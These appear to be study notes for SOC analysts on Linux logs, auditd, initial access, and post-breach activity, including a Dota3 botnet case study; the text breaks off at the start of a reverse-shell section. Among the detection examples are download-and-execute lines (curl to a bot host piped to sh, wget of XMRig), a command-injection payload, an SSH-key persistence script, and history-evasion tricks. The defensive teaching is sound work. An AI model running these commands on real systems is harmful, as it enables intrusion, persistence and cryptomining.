Linux Logging for SOC — Notes
Scope: Linux servers (Debian, Ubuntu, CentOS, RHEL), no GUI. Linux is not immune to malware, and Linux intrusions are increasing.
1. The Big Picture
| Question you're asking | Where the answer lives |
|---|---|
| Who logged in / failed / used sudo / created users? | /var/log/auth.log (/var/log/secure on RHEL) |
| What happened on the system in general? | /var/log/syslog (/var/log/messages on RHEL) |
| What did the kernel say? | /var/log/kern.log |
| What packages were installed? | /var/log/dpkg.log, /var/log/apt/ (Debian) · /var/log/dnf.log, /var/log/yum.log (RHEL) |
| What web pages were requested? | App logs, e.g. /var/log/nginx/access.log |
| What commands did a user type? | ~/.bash_history (unreliable) |
| Which programs ran, which files changed, what connections were made? | Nothing by default → need runtime monitoring (auditd, Sysmon for Linux, etc.) |
Core idea: default Linux logs cover authentication well and runtime activity not at all. Detection coverage grows as you add sources:
auth.log only → + web logs & bash history → + runtime monitoring (auditd)
narrow broad2. How Linux Logs Differ from Windows
| Windows | Linux |
|---|---|
| Binary event logs, need Event Viewer | Plain text — read with cat, less, grep |
| Event IDs, strict schema | No event codes, loose format |
| Fixed locations | Format, verbosity, and location are easily changed; distros differ |
Caveat: logs on a real system may look different from these examples, or not exist at all.
Standard line format (syslog-style)
2025-08-04T14:17:40 thm-vm sshd[3139]: Failed password for admin from 138.204.127.54 port 52670 ssh2
└─ event time ─┘ └host┘ └process[PID]┘ └──────── free-form message (any format) ────────┘3. Working With Logs — Essential Commands
ls -l /var/log # discover what the system logs
cat /var/log/syslog | head # peek at the start
cat /var/log/syslog | grep CRON # keep only lines with CRON
cat /var/log/syslog | grep -v CRON # EXCLUDE lines with CRON
grep -R -E "auth|login|session" /var/log # search ALL logs recursively for keywords| Flag | Meaning |
|---|---|
-v | invert match (exclude) |
-E | extended regex → allows a|b (OR) |
-R | recursive through a directory |
-i | case-insensitive (useful extra) |
Strategy: thousands of lines, few matter → filter aggressively and narrow down.
Practical tips (beyond the room):
grep PATTERN filedoes the same ascat file | grep PATTERN, with one less process.- Old logs get rotated (
auth.log.1,auth.log.2.gz). Plaingrepskips.gzcontents → usezgrep. - Many modern systems log to systemd-journald (
/var/log/journal/), which is binary → read withjournalctl(e.g.journalctl -u ssh). Some installs have no/var/log/syslogat all.
4. Authentication Logs — /var/log/auth.log
The #1 log source for SOC. It holds more than logins: user management, sudo commands, and more.
4a. Logins & logouts → grep session opened|session closed
grep -E 'session opened|session closed' /var/log/auth.logThe text in pam_unix(XXX:session) tells you how the login happened:
| Tag | Login type | Example |
|---|---|---|
login:session | Local, physical keyboard | login[1138]: ... session opened for user bob(uid=1001) by bob(uid=0) |
sshd:session | Remote via SSH | sshd[839]: ... session opened for user alice(uid=1002) |
samba:session | Remote via SMB file share | smbd[1795]: ... session opened for user alice(uid=1002) |
cron:session | Scheduled job | CRON[41925]: ... session opened for user root(uid=0) by root(uid=0) |
sudo:session | Privilege switch | sudo: ... session opened for user root(uid=0) by carol(uid=1003) |
Read it as: session opened for user TARGET by WHO.
for user root ... by carol(uid=1003)→ Carol became root.by bob(uid=0)→ uid 0 means the login service (running as root) opened it — normal for logins.
Spotting length of a session: match opened and closed with the same PID (e.g. login[1138]: 16:04 → 19:23).
4b. SSH-specific events → grep sshd + Accepted|Failed
grep sshd /var/log/auth.log | grep -E 'Accepted|Failed'Format: <Accepted|Failed> <auth-method> for <user> from <IP> port <port> ssh2
Failed password for root from 222.124.17.227 port 50293 ssh2
Failed password for admin from 138.204.127.54 port 52670 ssh2
Accepted publickey for bob from 10.19.92.18 port 55050 ssh2: <key>SOC red flags:
- Many
Failedfrom one IP → brute force - Many usernames from one IP → password spraying / user enumeration
Failed× N, thenAcceptedfrom the same IP → brute force succeeded- Login attempts for
root/adminfrom external IPs - Note public vs private IPs (
10.x,172.16–31.x,192.168.x= internal)
4c. User management → grep (passwd|useradd|usermod|userdel)\[
grep -E '(passwd|useradd|usermod|userdel)\[' /var/log/auth.log| Command | Meaning | Example |
|---|---|---|
passwd | Password changed | password for 'ubuntu' changed by 'root' |
userdel | User deleted | delete user 'oldbackdoor' |
useradd | User created | new user: name=backdoor, UID=1002, GID=1002, shell=/bin/sh |
usermod | User modified / added to group | add 'backdoor' to group 'sudo' |
The \[ ensures you match the process name (useradd[1878]) and not random text.
Classic persistence pattern (all within ~45 seconds):
- Delete old backdoor account
- Create new user
- Add it to
sudogroup → new admin account = persistence
4d. Commands run with sudo → grep COMMAND=
grep -E 'COMMAND=' /var/log/auth.logsudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/systemctl stop edr ← defense evasion
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/ufw status numbered ← recon (firewall)
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/su ← full root shellGap: once someone runs sudo su, everything they do as root is no longer logged here → you need runtime monitoring.
auth.log grep cheat sheet
| Hunting for | grep pattern |
|---|---|
| Logins/logouts | 'session opened|session closed' |
| SSH success/fail | sshd then 'Accepted|Failed' |
| User changes | '(passwd|useradd|usermod|userdel)\[' |
| Sudo commands | 'COMMAND=' |
5. Generic System Logs
| File | Contents |
|---|---|
/var/log/kern.log | Kernel messages & errors (advanced investigations) |
/var/log/syslog / /var/log/messages | Consolidated stream of system events (cron runs, services, time sync…) |
/var/log/dpkg.log / /var/log/apt/ | Package installs (Debian/Ubuntu) |
/var/log/dnf.log / /var/log/yum.log | Package installs (RHEL) |
Reality: useful in DFIR, rarely in daily SOC work — noisy and hard to parse.
Syslog example worth noticing:
CRON[1048]: (root) CMD (date > mycrondebug.log)Cron lines show the exact command a scheduled job ran, and as whom → useful for spotting malicious cron persistence.
6. App-Specific Logs
Each application logs its own activity: databases (queries), mail (phishing), containers (anomalies), web servers (who opened what).
Nginx access log — one line per HTTP request:
10.0.1.12 - - [11/08/2025:14:33:09 +0000] "POST /login HTTP/1.1" 302 112
└client IP┘ └──── timestamp ─────┘ └method path proto┘ └status┘└bytes┘| Status | Meaning in context |
|---|---|
200 | OK |
302 after POST /login | Redirect → often a successful login |
403 on /admin | Forbidden → someone probing restricted areas |
⚠ Note the date format differs (DD/MM/YYYY:HH:MM:SS) from auth.log — every app has its own format.
7. Bash History — ~/.bash_history
- Commands kept in memory during the session, written to
~/.bash_historyat logout. historycommand shows current session + past sessions.- Per-user file:
/home/<user>/.bash_history,/root/.bash_history.
Why SOC rarely relies on it:
- Doesn't track non-interactive commands (OS, cron, web server)
- Live session not on disk until logout
- Trivially evaded:
| Evasion trick | Why it works |
|---|---|
Leading space: echo "secret" | HISTCONTROL=ignorespace (default on Ubuntu) skips it |
Put commands in a script: nano legit.sh && ./legit.sh | Only nano/./legit.sh appear, not the contents |
Switch shell: sh | /bin/sh doesn't save history like bash |
(Also) unset HISTFILE, history -c, delete the file | Wipes or disables recording |
Treat it as a bonus clue, never as proof of absence. Empty history ≠ nothing happened.
8. Runtime Monitoring — The Missing Piece
By default, Linux does NOT log:
- Process creation ("which programs did Bob launch?")
- File changes ("who deleted my home folder?")
- Network connections
These are runtime events. Windows has the same gap (fixed with Sysmon); Linux fixes it with auditd or alternatives.
System calls — the foundation
Every program asks the kernel for services via system calls (300+ on Linux).
You type "whoami" → shell sends execve("/usr/bin/whoami") → kernel processes it
→ kernel uses CPU/memory/disk → kernel returns result → you see output| Syscall | Purpose | Monitor it to see… |
|---|---|---|
execve | Run a program | Process execution |
openat | Open a file | File access/changes |
connect | Open network connection | Outbound connections |
Key insight: EDRs and logging tools all watch syscalls. Programs can't do anything meaningful without them, so syscall monitoring is far harder to evade than bash history. Pick the syscalls you care about → log them.
9. auditd (Audit Daemon)
Built-in Linux auditing tool used by SOC for runtime monitoring.
Rules — /etc/audit/rules.d/*.rules
-a always,exit -S execve -F exe=/usr/bin/wget -F key=proc_wget
-a always,exit -S openat -F path=/secret.thm -F key=file_thmsecret
-a always,exit -S openat -F dir=/etc/ssh -F perm=w -F key=file_sshconf
-a always,exit -S connect -F exe=/usr/bin/python3.12 -F key=net_python| Part | Meaning |
|---|---|
-a always,exit | Always log, at syscall exit |
-S <syscall> | Which system call to watch |
-F <field>=<value> | Filter (exe, path, dir, perm…) |
-F key=<tag> | Label to search by later |
perm=w | Only write access |
What the 4 rules do: log wget runs · log access to /secret.thm · log writes in /etc/ssh · log Python network connections.
Balance: logging everything = gigabytes/day, and an attack buried in noise is still invisible. Log high-risk events only.
Reading results
Raw log: /var/log/audit/audit.log (hard to read). Use ausearch:
ausearch -i -k proc_wget # -i = human-readable, -k = search by keyOne event = several lines sharing the same ID msg=audit(08/12/25 12:48:19.093:2219):
| Record type | Shows |
|---|---|
PROCTITLE | Full command line (wget https://files.tryhackme.thm/report.zip) |
CWD | Working directory (/root) |
EXECVE | Arguments (argc=2 a0=wget a1=https://...) |
PATH | File involved (file events: name=/etc/ssh/sshd_config) |
SYSCALL | Process & user details (below) |
SYSCALL fields — know these cold
| Field | Meaning |
|---|---|
pid / ppid | Process ID / Parent PID → build the process tree |
auid | Audit user = account that originally logged in (local or SSH). Survives sudo/su. |
uid | User actually running the command (changes after sudo/su) |
tty | Session ID (pts1) → separates multiple users on one server |
exe | Absolute path of the binary → used for detection rules |
key | Your rule's tag |
The most important detail: auid=ubuntu uid=root → the person who logged in as ubuntu ran this as root. This closes the sudo su gap from auth.log: even after switching to root, auditd still knows who the real human was.
Example file event: nano /etc/ssh/sshd_config by auid=ubuntu uid=root → someone edited the SSH config with root privileges. Critical files to watch: SSH config, cron definitions, system settings.
10. auditd Alternatives
auditd output is verbose, hard to read, and hard to ingest into a SIEM. Alternatives:
| Tool | Best for |
|---|---|
| Sysmon for Linux | Teams already using Sysmon (XML output) |
| Falco | Open-source, containerized environments |
| Osquery | General-purpose security querying |
| EDRs | Most track Linux runtime events |
All work the same way: monitoring system calls. Understand syscalls → learn any of these quickly, and explain why something was or wasn't logged.
11. One-Page Summary
- Linux logs are plain text in
/var/log, loosely formatted, distro-dependent. - auth.log/secure is the SOC's main source: logins, SSH, user changes, sudo commands.
- syslog/kern/package logs → mostly DFIR. App logs (nginx etc.) → web/app attacks.
- Bash history is easy to evade — supporting evidence only.
- Default Linux does not log process, file, or network activity.
- Runtime monitoring = watching syscalls (
execve,openat,connect). - auditd: rules in
/etc/audit/rules.d/, search withausearch -i -k <key>. auid= real human,uid= effective user. auid is the field that defeatssudo suhiding.- Log the high-risk stuff, not everything.
Linux Initial Access for SOC — Notes
How attackers first get into Linux servers, and how to catch each entry route in logs.
1. The Three Doors In
| Entry route | MITRE technique | Main evidence |
|---|---|---|
| Exposed SSH (stolen key / guessed password) | T1133 External Remote Services (+ T1078 Valid Accounts) | auth.log → sshd lines |
| Exploited public service (web app, mail, VPN, firewall, Docker API) | T1190 Exploit Public-Facing Application | App logs + process tree |
Human mistakes & supply chain (curl | bash, typosquatted package, poisoned dependency) | T1195 Supply Chain Compromise | Process tree |
Unifying principle: whatever the door, the attacker eventually runs commands. Commands create processes. Processes have parents. Trace the parent → find the door.
2. Door #1 — SSH
Why SSH is the #1 target
- Almost every internet-facing Linux server runs it (Shodan: 40M+ exposed in 2025).
- Linux equivalent of RDP on Windows — powerful and often poorly defended.
- Botnets constantly scan the internet for it.
How attackers get in
| Key-based auth (safer, but…) | Password-based auth (extra risks) |
|---|---|
| Private keys leaked in GitHub repos or Ansible/automation servers | Admin sets a weak password "just for a test" and forgets it |
Infostealer malware on an admin's laptop grabs ~/.ssh/ | Contractor gets SSH with password 12345678 |
| Old, insecure SSH server accidentally exposed to the internet |
Most real Linux attacks (e.g. the Outlaw botnet group) start from these simple scenarios. Rarer, advanced routes: vulnerabilities in the SSH server itself (e.g. Erlang/OTP SSH), SSH session hijacking.
The breach formula: public SSH + password auth + weak password = breach is a matter of time, not luck.
Anatomy of a brute-force breach
16:56:28 sshd[2820]: Failed password for user root from 196.251.118.184
16:56:34 sshd[2822]: Failed password for invalid user helpdesk from 196.251.118.184
16:56:40 sshd[2824]: Failed password for invalid user ftptest from 196.251.118.184
16:56:47 sshd[2826]: Failed password for invalid user support from 196.251.118.184
16:56:49 sshd[2830]: Accepted password for thmsupport from 196.251.118.184 ← BREACHThree indicators that together confirm the breach:
- Multiple failures → then a success (same IP)
- External, untrusted IP (196.x is public, not internal)
- Password auth (the weaker method)
Extra reading clues:
invalid user= the account does not exist → attacker is guessing usernames from a wordlist.- Attempts every ~6 seconds → automated tool, not a human typing.
- The winning username (
thmsupport) resembles the guesses (support,helpdesk) → wordlist hit a real account.
Triaging successful logins
Start simple: grep 'Accepted' /var/log/auth.log, then judge each line.
2025-08-19T14:00:02 Accepted publickey for ansible from 10.14.105.255
2025-08-20T12:56:49 Accepted password for jsmith from 54.155.224.201
2025-08-22T03:14:06 Accepted password for jsmith from 196.251.118.184| Login | Verdict | Why |
|---|---|---|
ansible | Likely legit | Public key ✓ · internal IP ✓ · exactly 14:00 = scheduled automation ✓. Still verify the IP really is the Ansible server and check what it did next. |
jsmith ×2 | Suspicious | Password auth ✗ · external IPs ✗ · two different IPs ✗ · 03:14 = night-time for the user ✗ · second IP is the same one that brute-forced earlier ✗✗ |
The 4-question SSH investigation checklist
| Check | Ask |
|---|---|
| Username | Who owns it? Is this time and IP normal for them? |
| Source IP | What do Threat Intel tools & asset lookups say? Internal/trusted or malicious? |
| Login history | Was it preceded by brute force or other odd events? |
| Next steps | Is it suspicious enough to review what the user did after logging in? |
Good vs bad SSH login — at a glance
| Signal | Benign | Malicious |
|---|---|---|
| Auth method | publickey | password |
| Source IP | Internal (10.x, 172.16–31.x, 192.168.x), known asset | External, unknown, flagged by TI |
| Timing | Business hours / exact schedule | Odd hours, right after failures |
| Prior events | None | Bursts of Failed / invalid user |
3. Door #2 — Exploited Public Services
Linux hosts web servers, mail, databases, dev/IT tools, and is the OS inside most firewalls and VPNs. Compromise the app → the whole host is at risk.
Real-world examples:
- Zimbra CVE → arbitrary OS command execution
- Exposed Docker API port → entry point for cloud breaches
- Palo Alto firewall CVE → full control of the underlying Linux OS
- WordPress plugin upload → used to drop web shells
Typical chain: brute-force/exploit the website → upload a backdoor → control the Linux server.
Application logs: useful but incomplete
No app logs "I'm being exploited by a zero-day." App logs give clues, not the full story:
| Log | Detects |
|---|---|
| Web logs | Web attacks (injection, scanning, brute force) |
| Database logs | Suspicious SQL queries |
| VPN logs | Abnormal VPN logins |
| Business logs | Domain-specific fraud (e.g. bank transactions) |
Case study — command injection in TryPingMe
The app runs ping -c 2 [YOUR-INPUT] with no input filtering.
10.2.33.10 "GET /ping?host=3.109.33.76" 200 ← normal: an IP
10.12.88.67 "GET /ping?host=54.36.19.83" 200 ← normal: an IP
10.14.105.255 "GET /ping?host=hello" 500 ← probing: what breaks it?
10.14.105.255 "GET /ping?host=whoami" 500 ← trying a command
10.14.105.255 "GET /ping?host=;whoami" 200 ← ";" works → INJECTION SUCCESS
10.14.105.255 "GET /ping?host=;ls" 200 ← now exploring the systemHow to read it:
- Legit users send IPs; the attacker sends Linux commands.
500→500→200= classic trial and error until it works.;= shell command separator → ping runs, then the attacker's command runs.
Conclusions from web logs alone: 10.14.105.255 is likely the attacker · /ping is vulnerable to code execution · attacker ran whoami, ls · entire host is now at risk.
What web logs CAN'T show: the command output or what ran afterwards → you need the process tree.
4. Process Tree Analysis — The Universal Method
Most SOC teams rely on this because app logs are often missing or unhelpful. Works for every initial access route.
Scenario: an alert fires on whoami. IT admin activity, or a breach? → Walk up the tree.
Walking UP (who launched it?)
ausearch -i -x whoami # -x = filter by executable/command name
ausearch -i --pid 3905 # look up the parent (ppid of whoami)
ausearch -i --pid 3898 # look up the grandparent… until ppid=1| Step | Process | pid | ppid |
|---|---|---|---|
| 1 (start) | whoami | 3907 | 3905 |
| 2 | /bin/sh -c whoami | 3905 | 3898 |
| 3 | /usr/bin/python3 /opt/mywebapp/app.py | 3898 | 1 (systemd) |
Result: systemd → python web app → sh -c → whoami → a web app spawned a shell. Strong sign of exploitation.
Walking DOWN (what else did it launch?)
Instead of arguing whether whoami is "normal" for the app, look for clearer evidence among its other children:
ausearch -i --ppid 3898 | grep proctitle # all children of the web appproctitle=/bin/sh -c whoami
proctitle=/bin/sh -c ls -la
proctitle=/bin/sh -c curl http://17gs9q1puh8o-bot.thm | sh ← download & execute = smoking gunausearch cheat sheet
| Command | Purpose |
|---|---|
ausearch -i -k <key> | By rule tag |
ausearch -i -x <cmd> | By command / executable |
ausearch -i --pid <N> | The process itself → go up |
ausearch -i --ppid <N> | Its children → go down |
-i | Human-readable output |
The detail that gives it away: auid=unset
In the web-app tree every process shows auid=unset uid=ubuntu tty=(none).
| Field | Human SSH session | Service/daemon |
|---|---|---|
auid | the login user (e.g. ubuntu) | unset (no one logged in) |
tty | pts0, pts1… | (none) |
→ A shell with auid=unset and tty=(none) was not typed by a logged-in human. It came from a service. If that service is a web server, suspect exploitation.
5. Door #3 — Human Mistakes & Supply Chain
Phishing and USBs are rarer on Linux (technical operators, servers, no GUI), but people still make mistakes:
| Scenario | Consequence |
|---|---|
Admin runs curl https://shadyforum.thm/fix.sh | bash from a forum | Script was malware → server silently infected |
Developer typos pip3 install fastpi (instead of fastapi) | Typosquatted package = malware published by attackers |
Pattern to remember: curl … | bash or | sh = download and run without inspecting. Always suspicious in a process tree.
Supply chain compromise
Attackers breach a software project → every user gets the malicious update. A Linux server has hundreds of dependencies from different maintainers, so this can come from anywhere.
- XZ Utils backdoor (2024): hidden in a compression library linked into SSH → nearly compromised millions of servers.
- tj-actions breach (GitHub Action): leaked thousands of secrets (SSH keys, access tokens) from CI logs.
6. Detection Workflow (all doors)
TRIGGER → SIEM alert: suspicious command / connection to malicious IP
TRACE → build the process tree: which app or user started it?
JUDGE → is that parent expected to do this? legit or malicious?Three trees to recognize
Web app breach Supply chain SSH breach
systemd systemd systemd
└─ apache2 └─ thm-service └─ sshd
└─ php-fpm ├─ wget ✗ └─ sshd (user=tom)
└─ sh -c whoami ✗ ├─ base64 ✗ ├─ curl ✗
└─ whoami ✗ └─ tar ✗ └─ xmrig ✗ (cryptominer)| Tree pattern | Question to ask | Likely door |
|---|---|---|
| Web server → shell → recon commands | Why would a web app run whoami? | Web app exploit |
| Trusted vendor service → wget / base64 / tar | Why is this app downloading & decoding? | Supply chain |
| sshd → user session → curl → miner | Would Tom really install a cryptominer? | SSH credential compromise |
Universal red flags in a tree:
- A web server or service spawning
sh/bash - Download tools (
curl,wget) followed by execution or decoding (base64,tar,| sh) - Recon commands (
whoami,id,uname,ls) from non-interactive parents - Cryptominers (
xmrig) — the most common payload on compromised Linux servers
7. Analyst's Observations (beyond the room)
- Correlate IPs across sources.
10.14.105.255appears as the "legit" Ansible login and as the command-injection attacker. Possibly just reused lab data, but in a real case that overlap would demand investigation: a compromised automation server is a high-value pivot point. - Timestamps need a timezone. "03:14 is night" assumes the log is in the user's local time. auth.log timestamps are often UTC; convert before judging.
- One success after failures isn't the only pattern. Watch also for password spraying: few attempts per account, many accounts, often spread across many IPs to dodge thresholds.
8. One-Page Summary
- Three doors: SSH, exploited public apps, human mistakes / supply chain.
- SSH breach = public + password auth + weak password. Look for failures → success, external IP, password method.
invalid user= account doesn't exist = username guessing.- Triage each
Acceptedlogin by username, source IP, login history, next steps. - App logs give clues (e.g.
;whoamiin a URL), never the full story. - Process tree is the universal method:
ausearch --pidto go up,--ppidto go down. auid=unset+tty=(none)→ spawned by a service, not a logged-in human.- Red flags: services spawning shells,
curl | sh, recon commands, miners. - Always ask: "Why would this parent run that child?"
Linux Post-Breach Activity for SOC — Notes
What attackers do after getting in: Discovery → Ingress Tool Transfer → Hack-and-Forget payloads (with the real-world Dota3 case).
1. How Linux Breaches Actually Unfold
1. BOTNET automates the first stages → scans, brute-forces, gets a shell
2. Botnet hands control to a HUMAN → only when an entry point is ready
3. HUMAN (botnet owner) continues → discovery, payloads, persistenceConsequence: the attacker usually lands "blind" and asks the same questions you would: Where am I? Who am I? What is this machine? → Discovery always comes first.
When Discovery is skipped: the attacker already knows the target, OR just wants to drop a cryptominer and leave regardless of victim.
2. Discovery (MITRE TA0007)
Basic discovery — same commands on almost every breach
| Goal | Typical commands |
|---|---|
| OS & filesystem | pwd, ls /, env, uname -a, lsb_release -a, hostname |
| Users & groups | id, whoami, w, last, cat /etc/sudoers, cat /etc/passwd |
| Processes & network | ps aux, top, ip a, ip r, arp -a, ss -tnlp, netstat -tnlp |
| Cloud / sandbox / EDR | systemd-detect-virt, lsmod, uptime, pgrep "<edr-or-sandbox>" |
Why uptime / systemd-detect-virt? A freshly booted VM with no history looks like a sandbox or honeypot → attacker may stop to avoid analysis.
whoami — the single best discovery signal
Legitimate applications rarely need it; attackers run it first after breaching a service. A detection rule on any whoami execution has a high hit rate for real attacks.
Caveat: attackers can get the same info via id, echo $USER, or /proc/self/status, so don't make whoami your only rule.
Specialized discovery — reveals the attacker's GOAL
| Objective | Typical commands | Tells you… |
|---|---|---|
| Steal credentials / secrets | history | grep pass, find / -name .env, find /home -name id_rsa | Data stealer |
| Assess mining suitability | cat /proc/cpuinfo, lscpu | grep Model, free -m, top, htop | Cryptominer |
| Find new victims | ping <ip>, for ip in 192.168.1.{1..254}; do nc -w 1 $ip 22; done | Botnet / worm spreading |
Key inference: almost no malware except miners cares about CPU model & RAM. Seeing cpuinfo + free -m + lscpu together ≈ miner incoming.
3. Detecting Discovery
Step 1 — Log the commands (auditd)
-a always,exit -S execve -S execveat -F exe=/usr/bin/whoami -F key=discovery_user
-a always,exit -S execve -S execveat -F exe=/usr/bin/id -F key=discovery_user
-a always,exit -S execve -S execveat -F exe=/usr/bin/pwd -F key=discovery_fs
-a always,exit -S execve -S execveat -F exe=/usr/bin/uname -F key=discovery_os
-a always,exit -S execve -S execveat -F exe=/usr/bin/netstat -F key=discovery_networkexecveandexecveat→ both ways of executing a program are covered.- Group commands under shared keys (
discovery_user,discovery_fs…) → hunt by category. - Limitation:
exe=matches only that exact path. A binary copied to/tmp/xor a BusyBox applet won't match.
Step 2 — Hunt (SIEM or manually)
ausearch -i -k discovery_user | grep -Ez 'key=|exe='Step 3 — Get CONTEXT via the process tree (the real challenge)
The commands are identical for attackers, admins, and tools. Only the parent tells them apart.
| Situation | Verdict |
|---|---|
Web server spawns whoami | 🚩 Red flag (exploited service) |
IT member runs find / grep hunting for secrets | 🚩 Red flag (insider or stolen account) |
Network monitoring tool periodically pings the LAN | ✅ Expected |
Worked example:
ausearch -i -x whoami # found: whoami, ppid=3898, auid=ubuntu
ausearch -i --pid 3898 # parent: /usr/bin/bash /tmp/lp.sh ← script in /tmp!
ausearch -i --ppid 3898 # children: find /home -name *secret* … ×5 → maliciousauid=ubuntu→ launched from a real login session, not a daemon (contrast withauid=unsetfor web-app exploits).- A script running from
/tmpis suspicious on its own. - Siblings like
find … *secret*confirm intent: credential hunting.
4. Hack-and-Forget Attacks
Two informal attacker categories: targeted attacks and "Hack and Forget" (this room's focus).
Hack and Forget = run at scale, quick profit, victim doesn't matter. E.g. scan the internet for SSH with password tryguessme, catch a few victims per month.
After quick discovery, it ends in one (or all) of three payoffs:
| Payoff | What it does | MITRE |
|---|---|---|
| Cryptominer | Uses victim CPU/GPU to mine crypto (usually XMRig/Monero) | T1496 Resource Hijacking |
| Botnet enrollment | Victim joins e.g. Mirai → used for DDoS | — |
| Proxy | Victim sends phishing, hosts malware, relays attacker traffic | T1090 Proxy |
Common names in this space: Mirai, Mozi, Kaiten, Outlaw, BadBox, Shellshock-based worms.
5. Ingress Tool Transfer (MITRE T1105)
How malware gets onto the victim. Vast majority use three preinstalled tools:
| Tool | Example |
|---|---|
| wget — download a file | wget https://github.com/xmrig/[...]/xmrig-x64.tar.gz -O /tmp/miner.tar.gz |
| curl — web request / save output | curl --output /var/www/html/backdoor.php "https://pastebin.thm/yTg0Ah6a" |
| SSH (scp/sftp) — file copy | scp kali@c2server:/home/kali/cve-2021-4034.sh /tmp/cve-2021-4034.sh |
(Note: CVE-2021-4034 = PwnKit, a polkit pkexec privilege-escalation exploit.)
The scp direction trap — where does the evidence land?
| Direction | Who runs scp | What you see on the VICTIM |
|---|---|---|
Attacker → Victim (push) scp ./malware.sh ubuntu@thm-vm:/tmp | Attacker, on their machine | No scp in auditd! Only a new SSH login in auth.log |
Victim → Attacker (pull) scp attacker@attack-vm:./malware.sh /tmp | Attacker, from a shell on the victim | scp process in auditd |
Rule: if the transfer was initiated remotely, process logs are blind; look for the login instead. Same applies to FTP and SMB uploads.
Additional detection sources
| Source | What to look for |
|---|---|
| Network traffic | Downloads from IPs with attack history (VirusTotal), suspicious/random domains (qfpkvwgq.thm), or public tool hosts like GitHub / pastebin |
| File events | New files in /tmp, /var/tmp; names like exploit, shell.php, or random strings kF1pBsY5 |
| AV / EDR | Alerts on a new malicious file or process |
Why /tmp? World-writable by every user, so any compromised account can drop files there.
6. Case Study — Dota3 Malware (full kill chain)
A simple but long-lived cryptomining botnet. Still active because admins keep setting weak SSH passwords.
Stage 1 — Initial Access
- Botnet of 2000+ IPs in 94 countries scans for open SSH.
- Brute-forces mainly
rootwith the top 1000 weak passwords. - On success, one botnet host logs in via SSH and continues.
Stage 2 — Discovery (automated, rapid-fire)
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' # CPU model
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' # RAM
lscpu | grep Model # CPU again
ls -lh $(which ls) # unclear purpose
crontab -l # existing scheduled jobs
w # who's logged in
uname -m # CPU architecture (x86_64? ARM?) → which miner binary to drop- First three lines alone → cryptominer.
- Commands fire within seconds → script, not a human.
Stage 3 — Persistence (lock in access, lock out others)
`echo -e "ubuntu123\nN2a96PU0mBfS\nN2a96PU0mBfS"|passwd|bash` >> up.txt
cd ~
rm -rf .ssh
mkdir .ssh
echo "ssh-rsa [ssh-key] mdrfckr" >> .ssh/authorized_keys
chmod -R go= ~/.ssh| Line | Meaning |
|---|---|
echo -e "old\nnew\nnew" | passwd | Feeds passwd the old password (ubuntu123, the guessed weak one) and the new one twice → changes it to a strong password, locking out competing botnets |
rm -rf .ssh + mkdir .ssh | Deletes the owner's keys → locks out the real admin |
echo "ssh-rsa … mdrfckr" >> authorized_keys | Installs the attacker's key (T1098.004 SSH Authorized Keys) |
chmod -R go= ~/.ssh | Strips group/other permissions so sshd accepts the key file |
mdrfckr = key comment unique to this campaign → perfect IOC to grep for:
grep -r mdrfckr /home/*/.ssh /root/.sshStage 4 — Tool transfer (via SCP, reusing the new password)
user@bot-1672$ scp dota3.tar.gz ubuntu@victim:/tmp # attacker→victim push: only an SSH login shows on victimStage 5 — Staging in a disguised hidden folder
cd /tmp
rm -rf .X2* # wipe previous/competitor copies
mkdir .X26-unix # leading dot = hidden
cd .X26-unix
tar xf dota3.tar.gz # unpacks to /tmp/.X26-unix/.rsync/c
sleep 3s
cd /tmp/.X26-unix/.rsync/cCamouflage: /tmp/.X11-unix is a real X server folder; .X26-unix imitates it. .rsync imitates a legit tool. Goal: an admin glancing at /tmp doesn't investigate.
Stage 6 — Execute payloads
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m
cd ..; nohup /tmp/.X26-unix/.rsync/initall 2>1&
exit 0| Binary | Role |
|---|---|
tsm | Custom scanner: probes internal 192.168.* and 172.16.* for SSH on port 22 → spreads to new victims (worm behavior) |
initall | XMRig cryptominer → burns CPU for attacker profit |
nohup … &→ process keeps running in the background after the SSH session closes.>> /dev/null→ discards output, leaves no trace on screen.sleep 8m / 20m→ spaces out activity.- Syntax note:
2>1as printed actually redirects stderr to a file named1; the usual form is2>&1. Likely a transcription simplification, but a stray file named1in the working dir would itself be an artifact.
Detecting Dota3 — indicator map
| Stage | Log source | Indicator |
|---|---|---|
| Access | auth.log → grep Accepted | Password SSH login from untrusted external IP (after brute force on root) |
| Discovery | auditd → ausearch -i -x <cmd> | Burst of lscpu, uname, free, cpuinfo — trace the parent |
| Persistence | auditd / file monitoring / SIEM | passwd run non-interactively; .ssh deleted & recreated; mdrfckr string |
| Transfer | auth.log | New SSH login (scp push leaves no process on victim) |
| Staging | auditd file events | Hidden dirs in /tmp; files named like malware (dota3.tar.gz) |
| Execution | auditd | nohup usage, binaries running from /tmp |
| Spreading | Network traffic | SSH port scan across 192.168.* and 172.16.* |
| Mining | EDR / CPU monitoring | XMRig detected by most EDRs; sustained 100% CPU |
In a real SOC with SIEM, expect several alerts at once: malicious-IP login + discovery spike + mdrfckr match.
7. One-Page Summary
- Botnets automate access; humans take over after. Discovery comes first.
- Discovery commands are the same ones admins use → judge them by their parent process.
whoamifrom a service = top-tier red flag. CPU/RAM checks = miner coming.- Hunt with auditd keys (
discovery_*), thenausearch --pidup and--ppiddown. - Hack-and-Forget payoffs: miner, botnet/DDoS, proxy.
- Tool transfer = wget / curl / scp. Remote scp push leaves no process, only an SSH login.
- Watch
/tmp,/var/tmp, hidden dot-folders imitating system names, random filenames. - Dota3 chain: brute-force root → CPU discovery → change password + replace SSH keys (
mdrfckr) → scp → hidden/tmp/.X26-unix→nohupscanner + XMRig. nohup … &= survive logout. Binaries in/tmp+ nohup = strong combo signal.
Linux Advanced Attacks for SOC — Notes
Targeted, human-led attack stages: Reverse Shells → Privilege Escalation → Persistence, plus Linux's role in espionage and ransomware.
1. Why Attackers Need Reverse Shells
| Entry via SSH | Entry via exploit / web vuln |
|---|---|
| Full terminal: colors, autocomplete, Ctrl+C | Crippled "terminal" |
| Instant command output | Buggy output, delays, timeouts |
| Rate limits, network restrictions |
TryPingMe example — injecting 127.0.0.1 && uname -a:
- Must prepend
